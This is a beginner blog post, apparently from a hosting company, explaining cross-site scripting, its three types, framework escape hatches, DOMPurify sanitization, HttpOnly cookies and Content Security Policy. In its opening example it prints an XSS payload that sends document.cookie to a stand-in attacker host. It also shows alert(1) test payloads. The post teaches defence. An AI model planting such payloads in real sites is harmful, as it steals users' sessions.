All posts
4 min read

What Is XSS? Cross-Site Scripting Explained for Beginners

Cross-site scripting lets an attacker run their JavaScript in your users' browsers — stealing sessions, changing pages, acting as the user. How XSS works, the three types, why React mostly protects you, the escape hatches that don't, and the defences that matter.

getting startedsecuritybeginner

Cross-site scripting — XSS — is one of the most common security holes on the web. It happens when your app displays something a user wrote, and that "something" turns out to be code that runs in other people's browsers.

How it works

Your app lets users write a profile bio. Another user views it. The app puts the bio into the page:

bioElement.innerHTML = user.bio

A normal bio is harmless. But an attacker sets their bio to:

<img src="x" onerror="fetch('https://evil.example/steal?c=' + document.cookie)">

The browser tries to load an image from x, fails, and runs the onerror code — in the page of every person who views that profile, with that person's access. The attacker's script can:

  • Steal session tokens stored where JavaScript can read them, and log in as the victim.
  • Act as the user — change their email, send messages, make purchases — by making requests from their browser.
  • Rewrite the page — show a fake login form, change a bank account number.
  • Read anything on the page, including personal data.

The key problem: the app treated user input as HTML/code instead of as text.

The three types

  • Stored XSS — the malicious input is saved (in a bio, comment, product review) and served to everyone who views it. The most damaging.
  • Reflected XSS — the input comes from the URL and is shown straight back: a search page that displays "Results for: [your search]." An attacker sends a victim a crafted link.
  • DOM-based XSS — the front-end JavaScript itself takes something from the URL or elsewhere and puts it into the page unsafely.

The fix: treat input as text

The core rule is escaping (also called encoding): when displaying user content, convert characters like < and > into their harmless text forms (&lt; and &gt;), so the browser shows them instead of running them.

bioElement.textContent = user.bio   // ✅ shown as text, never run
bioElement.innerHTML = user.bio     // ❌ parsed as HTML

React (and friends) protect you — mostly

Modern frameworks escape by default. In React:

<p>{user.bio}</p>   // ✅ React escapes it automatically

Vue, Svelte, Angular, and most server-side template engines do the same. That's why XSS is less common in modern apps. (What Is React?.)

But every framework has escape hatches, and AI-generated code uses them:

  • dangerouslySetInnerHTML in React — the name is a warning. Common when displaying rich text, Markdown, or content from a CMS.
  • v-html in Vue, {@html} in Svelte.
  • innerHTML, outerHTML, document.write, and insertAdjacentHTML in plain JavaScript.
  • Links from users: <a href={user.website}> — if the value is javascript:alert(1), clicking runs code. Only allow http: and https: URLs.
  • Markdown rendering — many Markdown libraries allow raw HTML through by default.

If you need to display user-supplied HTML (rich text editors, Markdown), sanitize it first with a well-maintained library such as DOMPurify, which removes scripts and dangerous attributes while keeping safe formatting:

import DOMPurify from "dompurify"

<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(post.html) }} />

Defences that limit the damage

  • HttpOnly cookies for sessions. A script can't read a cookie marked HttpOnly, so XSS can't simply steal the session. Tokens in localStorage, by contrast, are readable by any script on the page. (What Is a Cookie?.)
  • Content Security Policy (CSP). A response header telling the browser which scripts are allowed to run. A strong CSP blocks inline scripts and scripts from unknown domains, stopping many XSS attacks even if a hole exists. (Content Security Policy.)
  • Validate input on the server — a username doesn't need < or >. (Form Validation Explained.)
  • Keep dependencies updated — rich text editors and Markdown libraries occasionally have XSS fixes. (How to Update Dependencies Safely.)

How to check your app

  1. Search the code for dangerouslySetInnerHTML, innerHTML, v-html, {@html}, document.write, and insertAdjacentHTML. Each one needs a reason and sanitization.
  2. Check user-provided links are limited to http/https.
  3. Test it. In every field that's displayed to others — name, bio, comment, product title — enter:
    <img src=x onerror=alert(1)>
    
    If an alert box pops up anywhere, you've found XSS.
  4. Check where session tokens are stored.

Or ask your AI tool to do the audit:

Find every place user-provided content is rendered as HTML, every use of dangerouslySetInnerHTML or innerHTML, and every user-provided URL used in a link. For each, explain whether it's safe and fix the ones that aren't with DOMPurify or plain text rendering.


EasySpawn runs your app on your own domain over HTTPS, with a real server where you control response headers like Content-Security-Policy — so XSS defences can live where they're most effective. See how it works or join the waitlist.

Related: SQL Injection Explained · What Is a JWT? · A Security Checklist for Vibe-Coded Apps

Keep reading